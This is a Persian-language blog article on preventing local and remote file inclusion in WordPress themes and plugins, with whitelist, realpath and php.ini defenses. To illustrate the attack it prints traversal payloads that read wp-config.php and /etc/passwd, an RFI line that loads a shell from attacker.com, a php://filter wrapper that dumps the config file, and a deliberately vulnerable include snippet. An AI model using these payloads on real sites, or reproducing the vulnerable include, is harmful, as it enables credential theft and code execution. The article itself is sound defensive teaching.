File Inclusion Prevention (پیشگیری از تزریق فایل) در وردپرس یکی از ضروری‌ترین لایه‌های امنیتی است که متأسفانه در بسیاری از پروژه‌ها نادیده گرفته می‌شود. File Inclusion (تزریق فایل) نوعی آسیب‌پذیری است که در آن مهاجم با دستکاری مسیر فایل در توابعی مانند include()، require()، include_once() و require_once()، سرور را وادار به اجرای فایل دلخواه می‌کند. دو نوع اصلی این حمله عبارتند از LFI (Local File Inclusion - تزریق فایل محلی) و RFI (Remote File Inclusion - تزریق فایل از راه دور). در بستر وردپرس، مسیرهای ورود شامل قالب‌ها، افزونه‌ها و اسکریپت‌های سفارشی است که مسیر فایل را از ورودی کاربر می‌گیرند. پیامدهای موفقیت این حمله می‌تواند از خواندن فایل‌های حساس مانند wp-config.php تا اجرای کد دلخواه (RCE - Remote Code Execution - اجرای کد از راه دور) متغیر باشد. دفاع اصلی شامل استفاده از whitelist برای مسیرها، اجتناب از متغیرهای پویا در include، غیرفعال‌سازی allow_url_include، و اعتبارسنجی سختگیرانه ورودی است. بدون درک دقیق مکانیزم LFI و RFI، پیاده‌سازی دفاعی مؤثر ممکن نیست.

نخستین‌باری که با LFI روبه‌رو شدیم، در یک قالب سفارشی بود که بخش‌های مختلف صفحه را با include و متغیر $_GET['section'] بارگذاری می‌کرد. مهاجم می‌توانست با ارسال ?section=../../wp-config.php، محتوای فایل پیکربندی را ببیند. از آن زمان، هر جا صحبت از include پویا در وردپرس باشد، به‌طور جدی به File Inclusion فکر می‌کنیم. در این نوشتار، از ریشه‌های فنی تا دفاع عملی را بررسی می‌کنیم.

File Inclusion چیست و چرا خطرناک است؟

File Inclusion (تزریق فایل) نوعی آسیب‌پذیری است که در آن مهاجم با کنترل مسیر فایل در توابع include، سرور را وادار به اجرای فایل دلخواه می‌کند. این آسیب‌پذیری در OWASP Top 10 در دسته «Injection» قرار می‌گیرد و از نظر شدت، در سطح بالا طبقه‌بندی می‌شود. تفاوت کلیدی آن با Directory Traversal (پیمایش مسیر) در این است که در Directory Traversal، مهاجم فقط فایل را می‌خواند، اما در File Inclusion، فایل اجرا می‌شود.

در PHP، توابع include چهار نوع هستند: include()، include_once()، require() و require_once(). تفاوت include و require در رفتار در صورت عدم یافتن فایل است: include فقط هشدار می‌دهد، اما require اجرای اسکریپت را متوقف می‌کند. برای درک عمیق‌تر PHP، PHP در وردپرس را ببینید.

هر بار که از include با متغیر پویا استفاده می‌کنید، یک درِ پشتی بالقوه گشوده‌اید. اگر مسیر از ورودی کاربر می‌آید، آن درِ پشتی باز است.

تفاوت LFI و RFI

ویژگیLFIRFI
منبع فایلفایل محلی سرورفایل از سرور خارجی
نیاز به allow_url_includeخیربله (On)
سطح خطرخواندن فایل، گاهی RCERCE مستقیم
پیچیدگیمتوسطبالا (نیاز به تنظیمات خاص)

در PHP مدرن، allow_url_include به‌طور پیش‌فرض Off است و همین RFI را دشوار می‌کند. اما LFI همچنان فعال است و می‌تواند با تکنیک‌هایی مانند log poisoning یا /proc/self/environ به RCE تبدیل شود. برای درک جایگاه این آسیب‌پذیری در دسته‌بندی کلی، انواع آسیب‌پذیری‌های رایج وب را ببینید.

مسیرهای ورود File Inclusion در وردپرس

وردپرس در چندین نقطه از include استفاده می‌کند. این استفاده‌ها هم فرصت‌اند و هم تهدید:

  • قالب‌ها: استفاده از get_template_part() با متغیر پویا.
  • افزونه‌ها: بارگذاری فایل‌های تنظیمات یا ماژول‌ها بر اساس ورودی.
  • AJAX handlers: بارگذاری فایل بر اساس پارامتر action.
  • REST API: بارگذاری کنترلر بر اساس مسیر.
  • Shortcodes: بارگذاری قالب بر اساس attribute.

نکته مهم این است که وردپرس هسته توابع امن get_template_part() و locate_template() را ارائه می‌دهد که مسیر را محدود می‌کنند. اما بسیاری از توسعه‌دهندگان از include مستقیم استفاده می‌کنند. برای مرور ساختار قالب، فایل‌های ضروری قالب وردپرس را ببینید.

مکانیزم فنی حمله File Inclusion

یک payload ساده LFI برای خواندن فایل wp-config.php:

?page=../../../../wp-config.php

اگر کد به این شکل باشد:

$page = $_GET['page'];
include( $page . '.php' );

مهاجم می‌تواند با ?page=../../../../etc/passwd%00 (در PHP قدیمی) یا با تکنیک‌های دیگر، فایل را بخواند. برای RFI:

?page=http://attacker.com/shell.txt

اگر allow_url_include فعال باشد، سرور فایل مهاجم را اجرا می‌کند. نوع پیشرفته‌تر، استفاده از PHP Wrappers است:

?page=php://filter/convert.base64-encode/resource=wp-config.php

این تکنیک، محتوای فایل را به‌صورت base64 برمی‌گرداند و مهاجم می‌تواند آن را decode کند. برای دیدن نمونه‌های مشابه از آسیب‌پذیری‌های تزریقی، حمله تزریق کد را ببینید.

پیامدهای واقعی در پروژه‌های وردپرسی

سطحپیامد
نشت فایلخواندن wp-config.php، /etc/passwd
RCEاجرای کد دلخواه از طریق log poisoning یا /proc/self/environ
نفوذ کاملتصاحب سایت، نصب backdoor
نشت دادهخواندن اعتبارنامه دیتابیس، توکن‌های API

در پروژه‌ای که بررسی کردیم، یک افزونه گالری از include برای بارگذاری قالب استفاده می‌کرد و نام قالب را از URL می‌گرفت. مهاجم می‌توانست با ارسال ?template=../../../../wp-config، محتوای فایل پیکربندی را ببیند و اعتبارنامه دیتابیس را استخراج کند. برای مرور آسیب‌پذیری‌های مشابه در افزونه‌ها، آسیب‌پذیری افزونه‌های وردپرس را ببینید.

دفاع مؤثر در برابر File Inclusion

دفاع در چند لایه انجام می‌شود. هیچ لایه‌ای به‌تنهایی کافی نیست.

لایه ۱: استفاده از whitelist

به‌جای اعتماد به ورودی کاربر، فقط مقادیر مجاز را بپذیرید:

$allowed = ['header', 'footer', 'sidebar', 'content'];
$part = $_GET['part'] ?? 'content';
if ( ! in_array( $part, $allowed, true ) ) {
  $part = 'content';
}
include get_template_directory() . '/parts/' . $part . '.php';

این الگو، مطمئن‌ترین روش است. حتی اگر مهاجم بتواند ورودی را دستکاری کند، فقط فایل‌های مجاز بارگذاری می‌شوند.

لایه ۲: استفاده از توابع امن وردپرس

وردپرس توابع get_template_part() و locate_template() را ارائه می‌دهد که مسیر را به پوشه قالب محدود می‌کنند:

get_template_part( 'parts/' . $part );
// یا
locate_template( 'parts/' . $part . '.php', true );

این توابع، مسیرهای خارج از قالب را رد می‌کنند.

لایه ۳: غیرفعال‌سازی allow_url_include

; در php.ini
allow_url_include = Off
allow_url_fopen = Off

این تنظیم، RFI را دشوار می‌کند. اگر سرور شما به هر دلیلی این گزینه را فعال دارد، آن را غیرفعال کنید.

لایه ۴: اعتبارسنجی و پاک‌سازی مسیر

$path = realpath( $base_dir . '/' . $user_input . '.php' );
if ( strpos( $path, $base_dir ) !== 0 ) {
  wp_die( 'Invalid path' );
}

ترکیب realpath() با بررسی prefix، از خروج از پوشه مجاز جلوگیری می‌کند. برای درک عمیق‌تر، نوشتن کد PHP امن برای وردپرس را ببینید.

الگوی whitelist در include

الگوی whitelist را می‌توان در همه جا پیاده کرد:

function safe_include( $key ) {
  $map = [
    'header' => 'parts/header.php',
    'footer' => 'parts/footer.php',
    'sidebar' => 'parts/sidebar.php',
  ];
  if ( ! isset( $map[ $key ] ) ) {
    return false;
  }
  include get_template_directory() . '/' . $map[ $key ];
  return true;
}

این الگو، هم امن است و هم خوانایی کد را بالا می‌برد. برای درک عمیق‌تر ساختار افزونه، ساختار استاندارد افزونه وردپرس را ببینید.

اشتباهات رایج در دفع File Inclusion

  • استفاده از include با متغیر پویا بدون whitelist: شایع‌ترین اشتباه.
  • اتکای صرف به realpath(): در برخی سیستم‌ها symlink می‌تواند دور بزند.
  • فراموش کردن null byte injection: در PHP قدیمی، %00 می‌تواند رشته را قطع کند.
  • نادیده گرفتن PHP Wrappers: php://filter و php://input تهدید جدی هستند.
  • اعتماد به افزونه‌های شخص‌ثالث: بسیاری از افزونه‌ها از include ناامن استفاده می‌کنند.
  • عدم بررسی prefix در realpath(): فقط realpath() کافی نیست.
  • اجرای PHP با allow_url_include=On: این تنظیم RFI را فعال می‌کند.

برای مرور خطاهای مشابه در پیکربندی، اشتباهات امنیتی رایج در وردپرس را ببینید.

پرسش‌های پرتکرار درباره File Inclusion Prevention

آیا وردپرس هسته در برابر File Inclusion آسیب‌پذیر است؟ هسته از توابع امن get_template_part() استفاده می‌کند، اما افزونه‌ها و قالب‌های شخص‌ثالث ممکن است آسیب‌پذیر باشند. برای مرور کلی، امنیت وردپرس را ببینید.

آیا غیرفعال کردن allow_url_include کافی است؟ نه، زیرا LFI همچنان فعال است و می‌تواند به RCE تبدیل شود.

آیا افزونه‌های امنیتی وردپرس File Inclusion را دفع می‌کنند؟ برخی از آن‌ها WAF دارند که می‌تواند payloadهای شناخته‌شده را مسدود کند، اما دفاع اصلی باید در لایه کد باشد. برای مرور گزینه‌ها، بهترین افزونه‌های امنیتی وردپرس را ببینید.

چطور بفهمم سایت من در برابر File Inclusion آسیب‌پذیر است؟ ابزارهای تست خودکار مانند Burp Suite و OWASP ZAP می‌توانند کمک کنند. برای مرور گزینه‌ها، اسکنرهای آسیب‌پذیری وب را ببینید.

آیا File Inclusion فقط سایت‌های بزرگ را تهدید می‌کند؟ نه، هر سایتی که از include با متغیر پویا استفاده کند، می‌تواند هدف باشد.

برای مطالعه بیشتر درباره این آسیب‌پذیری، صفحه File inclusion vulnerability در ویکی‌پدیا مفید است.

خط پایان

File Inclusion Prevention یکی از آن لایه‌های امنیتی است که در سایه XSS و SQL Injection کمتر دیده می‌شود، اما پیامدهای آن می‌تواند از نشت فایل تا RCE متغیر باشد. در بستر وردپرس، استفاده گسترده از include در قالب‌ها، افزونه‌ها و اسکریپت‌های سفارشی، سطح حمله را بزرگ می‌کند. دفاع مؤثر نیازمند استفاده از whitelist، توابع امن وردپرس، غیرفعال‌سازی allow_url_include، و اعتبارسنجی سختگیرانه مسیر است. اگر پروژه‌ای با include پویا دارید، همین امروز بازبینی کنید.

اگر در پروژه‌ای با File Inclusion روبه‌رو شده‌اید یا راهکار دفاعی متفاوتی پیاده کرده‌اید، تجربه خود را در دیدگاه‌ها بنویسید؛ به‌خصوص اگر افزونه یا قالب خاصی عامل بوده، این اطلاعات برای خواننده بعدی بسیار ارزشمند است.